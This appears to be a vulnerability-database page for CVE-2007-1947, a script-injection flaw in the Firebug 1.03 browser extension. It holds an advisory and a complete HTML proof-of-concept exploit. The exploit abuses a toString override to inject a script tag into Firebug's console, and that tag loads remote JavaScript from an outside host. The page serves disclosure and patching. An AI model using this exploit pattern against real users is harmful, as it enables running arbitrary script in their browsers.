Firebug 1.03 - Rep.JS Script Code Injection
| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
 | CVE-2007-1947 | 11 Apr 200701:00 | – | cve |
 | CVE-2007-1947 | 11 Apr 200701:00 | – | cvelist |
 | EUVD-2007-1941 | 7 Oct 202500:30 | – | euvd |
 | CVE-2007-1947 | 11 Apr 200701:19 | – | nvd |
 | Cross site scripting | 11 Apr 200701:19 | – | prion |
 | Mozilla Firefox Firebug extension code execution | 6 Apr 200700:00 | – | securityvulns |
source: https://www.securityfocus.com/bid/23349/info
Firebug is prone to a script-code-injection vulnerability because it fails to adequately escape user-supplied data.
An attacker can exploit this issue to execute arbitrary script code in the context of the application.
Versions prior to 1.04 are vulnerable.
<html> <head> <title>Firebug console HTML injection</title> <style> noscript, .nofirebug{ color: red } </style> </head> <body> <h1>Firebug console HTML injection</h1> <script type="text/javascript"> // A function that returns a specially formatted string function vulnstring(){ return 'function <b style="font-size:80px">foo(<script src="http://larholm.com/vuln/firebuginclude.js"></'+'script>) { }'; } // The function object to log with Firebug var a = function(){}; // Overwrite the default toString method a.toString = vulnstring; // Attempt to trigger the vulnerability if Firebug is installed and has console logging enabled if(typeof console!="undefined" && typeof console.log=="function"){ console.log(a); document.write('<p>Check your Firebug console output. If it says Foo() in very large letters and you get an alert then you are vulnerable and should upgrade to Firebug v1.0.4 or greater.</p>'); } else { // Show error document.write('<p class="nofirebug">This proof of concept exploit requires Firebug to work</p>'); } </script> <noscript><p>This proof of concept exploit requires that Javascript is enabled.</p></noscript> <h3>Cheers, <a href="http://larholm.com/">Thor Larholm</a></h3> </body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
26 Nov 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 23.5
EPSS0.04483